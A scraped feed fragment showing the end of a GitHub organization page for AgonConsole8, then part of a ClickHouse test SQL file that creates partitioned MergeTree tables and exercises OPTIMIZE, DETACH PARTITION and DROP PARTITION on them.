                &lt;/details&gt;

                  &lt;details&gt;
                      &lt;summary&gt;    &lt;span&gt;Language&lt;/span&gt;
                      
&lt;/summary&gt;                    
                      &lt;div&gt;
                        &lt;header&gt;
                          &lt;span&gt;Select language&lt;/span&gt;
                          
                        &lt;/header&gt;
                        &lt;div&gt;
                          
                            
                            
                            &lt;span&gt;All&lt;/span&gt;
                          
                            
                              
                              
                              &lt;span&gt;HTML&lt;/span&gt;
                            
                        &lt;/div&gt;
                      &lt;/div&gt;
                    
                  &lt;/details&gt;

                &lt;details&gt;
                    &lt;summary&gt;    &lt;span&gt;Sort&lt;/span&gt;
                    
&lt;/summary&gt;                  
                    &lt;div&gt;
                      &lt;header&gt;
                        &lt;span&gt;Select order&lt;/span&gt;
                        
                      &lt;/header&gt;
                      &lt;div&gt;
                        
                          
                          
                          &lt;span&gt;Last updated&lt;/span&gt;
                        
                        
                          
                          
                          &lt;span&gt;Name&lt;/span&gt;
                        
                        
                          
                          
                          &lt;span&gt;Stars&lt;/span&gt;
                        
                      &lt;/div&gt;
                    &lt;/div&gt;
                  
                &lt;/details&gt;
                &lt;div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

        &lt;/div&gt;
      &lt;/div&gt;
      &lt;div&gt;
        
      &lt;div&gt;
    &lt;span&gt;Showing 2 of 2 repositories&lt;/span&gt;
    &lt;div&gt;
  
  
    &lt;ul&gt;
        &lt;li&gt;          &lt;div&gt;
  
    &lt;div&gt;
      &lt;div&gt;
        &lt;a href=&quot;https://github.com/AgonConsole8/agonconsole8.github.io&quot;&gt;agonconsole8.github.io&lt;/a&gt;
        &lt;span&gt;
          Public
&lt;/span&gt;

&lt;/div&gt;
      &lt;span&gt;&lt;a href=&quot;https://github.com/AgonConsole8/agonconsole8.github.io/graphs/commit-activity&quot;&gt;&lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/AgonConsole8/agonconsole8.github.io/graphs/commit-activity&quot;&gt;
          
  

  &lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/AgonConsole8/agonconsole8.github.io/graphs/commit-activity&quot;&gt;
    &lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/AgonConsole8/agonconsole8.github.io/graphs/commit-activity&quot;&gt;
  &lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/AgonConsole8/agonconsole8.github.io/graphs/commit-activity&quot;&gt;
    &lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/AgonConsole8/agonconsole8.github.io/graphs/commit-activity&quot;&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;/a&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/AgonConsole8/agonconsole8.github.io/graphs/commit-activity&quot;&gt;There was an error while loading. &lt;/a&gt;Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  AgonConsole8/agonconsole8.github.io’s past year of commit activity&lt;/span&gt;
&lt;/div&gt;
    &lt;div&gt;

        &lt;span&gt;
  
  &lt;span&gt;HTML&lt;/span&gt;
&lt;/span&gt;


        &lt;span&gt;
          0
&lt;/span&gt;

        &lt;span&gt;
          0
&lt;/span&gt;
      &lt;a href=&quot;https://github.com/AgonConsole8/agonconsole8.github.io/issues&quot;&gt;
        0&lt;/a&gt;

      &lt;a href=&quot;https://github.com/AgonConsole8/agonconsole8.github.io/pulls&quot;&gt;
        0&lt;/a&gt;
      &lt;span&gt;
          Updated Apr 22, 2025
&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
&lt;/li&gt;
        &lt;li&gt;          &lt;div&gt;
  
    &lt;div&gt;
      &lt;div&gt;
        &lt;a href=&quot;https://github.com/AgonConsole8/.github&quot;&gt;.github&lt;/a&gt;
        &lt;span&gt;
          Public
&lt;/span&gt;

&lt;/div&gt;
      &lt;span&gt;&lt;a href=&quot;https://github.com/AgonConsole8/.github/graphs/commit-activity&quot;&gt;&lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/AgonConsole8/.github/graphs/commit-activity&quot;&gt;
          
  

  &lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/AgonConsole8/.github/graphs/commit-activity&quot;&gt;
    &lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/AgonConsole8/.github/graphs/commit-activity&quot;&gt;
  &lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/AgonConsole8/.github/graphs/commit-activity&quot;&gt;
    &lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/AgonConsole8/.github/graphs/commit-activity&quot;&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;/a&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/AgonConsole8/.github/graphs/commit-activity&quot;&gt;There was an error while loading. &lt;/a&gt;Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  AgonConsole8/.github’s past year of commit activity&lt;/span&gt;
&lt;/div&gt;
    &lt;div&gt;


        &lt;span&gt;
          0
&lt;/span&gt;

        &lt;span&gt;
          0
&lt;/span&gt;
      &lt;a href=&quot;https://github.com/AgonConsole8/.github/issues&quot;&gt;
        0&lt;/a&gt;

      &lt;a href=&quot;https://github.com/AgonConsole8/.github/pulls&quot;&gt;
        0&lt;/a&gt;
      &lt;span&gt;
          Updated Apr 20, 2025
&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;  
&lt;/div&gt;&lt;/div&gt;


      &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;




        &lt;/div&gt;
&lt;/div&gt;

    &lt;div&gt;        &lt;div&gt;
            &lt;div&gt;
  &lt;div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;div&gt;
  
&lt;/div&gt;





&lt;div&gt;
    &lt;div&gt;
    &lt;a href=&quot;https://github.com/orgs/AgonConsole8/people&quot;&gt;
      &lt;h4&gt;People&lt;/h4&gt;
    &lt;/a&gt;
    &lt;p&gt;
      This organization has no public members. You must be a member to see who’s a part of this organization.
    &lt;/p&gt;
  &lt;/div&gt;

&lt;/div&gt;

  


  
  &lt;div&gt;
    &lt;div&gt;
      &lt;h4&gt;Top languages&lt;/h4&gt;
      &lt;p&gt;Loading…&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;


  
  &lt;div&gt;
    &lt;div&gt;
      &lt;h4&gt;Most used topics&lt;/h4&gt;
      &lt;p&gt;Loading…&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;



        &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;/div&gt;

      &lt;/main&gt;
  &lt;/div&gt;&lt;div&gt;
    
    
    You can’t perform that action at this time.
  &lt;/div&gt;&lt;div&gt;
  &lt;div&gt;
  &lt;/div&gt;
&lt;/div&gt;</content:encoded>
</item>
<item>
<title>ClickHouse/tests/queries/0_stateless/00502_custom_partitioning_local.sql at master · ClickHouse/ClickHouse · GitHub</title>
<link>https://github.com/ClickHouse/ClickHouse/blob/master/tests/queries/0_stateless/00502_custom_partitioning_local.sql</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/32369bd8904b8ab14c66aa2f23bb7172dfe3cea04bad10750b104698dbafc2dc/ClickHouse/ClickHouse"></enclosure>
<guid isPermaLink="false">GVf6x7JXM0q9vmr487-M2-g97VrWNeL532xrHg==</guid>
<pubDate>Tue, 26 May 2026 22:55:55 +0000</pubDate>
<description>ClickHouse® is a real-time analytics database management system - ClickHouse/ClickHouse</description>
<content:encoded>&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;*** Not partitioned ***&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;DROP&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; IF EXISTS not_partitioned;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;CREATE&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; &lt;span&gt;not_partitioned&lt;/span&gt;(x UInt8) ENGINE MergeTree &lt;span&gt;ORDER BY&lt;/span&gt; x;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;INSERT INTO&lt;/span&gt; not_partitioned &lt;span&gt;VALUES&lt;/span&gt; (&lt;span&gt;1&lt;/span&gt;), (&lt;span&gt;2&lt;/span&gt;), (&lt;span&gt;3&lt;/span&gt;);&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;INSERT INTO&lt;/span&gt; not_partitioned &lt;span&gt;VALUES&lt;/span&gt; (&lt;span&gt;4&lt;/span&gt;), (&lt;span&gt;5&lt;/span&gt;);&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Parts before OPTIMIZE:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;OPTIMIZE TABLE not_partitioned PARTITION tuple() FINAL;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Parts after OPTIMIZE:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Sum before DETACH PARTITION:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;sum&lt;/span&gt;(x) &lt;span&gt;FROM&lt;/span&gt; not_partitioned;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;ALTER&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; not_partitioned DETACH PARTITION ID &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;all&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Sum after DETACH PARTITION:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;sum&lt;/span&gt;(x) &lt;span&gt;FROM&lt;/span&gt; not_partitioned;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;system.detached_parts after DETACH PARTITION:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;DROP&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; not_partitioned;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;*** Partitioned by week ***&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;DROP&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; IF EXISTS partitioned_by_week;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;CREATE&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; &lt;span&gt;partitioned_by_week&lt;/span&gt;(d &lt;span&gt;Date&lt;/span&gt;, x UInt8) ENGINE &lt;span&gt;=&lt;/span&gt; MergeTree PARTITION BY toMonday(d) &lt;span&gt;ORDER BY&lt;/span&gt; x;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;--&lt;/span&gt; 2000-01-03 belongs to a different week than 2000-01-01 and 2000-01-02&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;INSERT INTO&lt;/span&gt; partitioned_by_week &lt;span&gt;VALUES&lt;/span&gt; (&lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;2000-01-03&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;), (&lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;2000-01-03&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;, &lt;span&gt;5&lt;/span&gt;);&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Parts before OPTIMIZE:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;OPTIMIZE TABLE partitioned_by_week PARTITION &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;2000-01-03&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt; FINAL;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Parts after OPTIMIZE:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Sum before DROP PARTITION:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;sum&lt;/span&gt;(x) &lt;span&gt;FROM&lt;/span&gt; partitioned_by_week;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;ALTER&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; partitioned_by_week DROP PARTITION &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;1999-12-27&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Sum after DROP PARTITION:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;sum&lt;/span&gt;(x) &lt;span&gt;FROM&lt;/span&gt; partitioned_by_week;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;DROP&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; partitioned_by_week;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;*** Partitioned by a (Date, UInt8) tuple ***&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;DROP&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; IF EXISTS partitioned_by_tuple;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;CREATE&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; &lt;span&gt;partitioned_by_tuple&lt;/span&gt;(d &lt;span&gt;Date&lt;/span&gt;, x UInt8, y UInt8) ENGINE MergeTree &lt;span&gt;ORDER BY&lt;/span&gt; x PARTITION BY (d, x);&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Parts before OPTIMIZE:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;OPTIMIZE TABLE partitioned_by_tuple PARTITION (&lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;2000-01-01&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;) FINAL;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;OPTIMIZE TABLE partitioned_by_tuple PARTITION (&lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;2000-01-02&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;) FINAL;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Parts after OPTIMIZE:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Sum before DETACH PARTITION:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;sum&lt;/span&gt;(y) &lt;span&gt;FROM&lt;/span&gt; partitioned_by_tuple;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;ALTER&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; partitioned_by_tuple DETACH PARTITION ID &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;20000101-1&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Sum after DETACH PARTITION:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;sum&lt;/span&gt;(y) &lt;span&gt;FROM&lt;/span&gt; partitioned_by_tuple;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;DROP&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; partitioned_by_tuple;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;*** Partitioned by String ***&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;DROP&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; IF EXISTS partitioned_by_string;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;CREATE&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; &lt;span&gt;partitioned_by_string&lt;/span&gt;(s String, x UInt8) ENGINE &lt;span&gt;=&lt;/span&gt; MergeTree PARTITION BY s &lt;span&gt;ORDER BY&lt;/span&gt; x;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;INSERT INTO&lt;/span&gt; partitioned_by_string &lt;span&gt;VALUES&lt;/span&gt; (&lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;bbb&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;), (&lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;aaa&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;, &lt;span&gt;5&lt;/span&gt;);&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Parts before OPTIMIZE:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;OPTIMIZE TABLE partitioned_by_string PARTITION &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;aaa&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt; FINAL;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Parts after OPTIMIZE:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Sum before DROP PARTITION:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;sum&lt;/span&gt;(x) &lt;span&gt;FROM&lt;/span&gt; partitioned_by_string;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;ALTER&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; partitioned_by_string DROP PARTITION &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;bbb&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Sum after DROP PARTITION:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;sum&lt;/span&gt;(x) &lt;span&gt;FROM&lt;/span&gt; partitioned_by_string;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;DROP&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; partitioned_by_string;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;*** Table without columns with fixed size ***&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
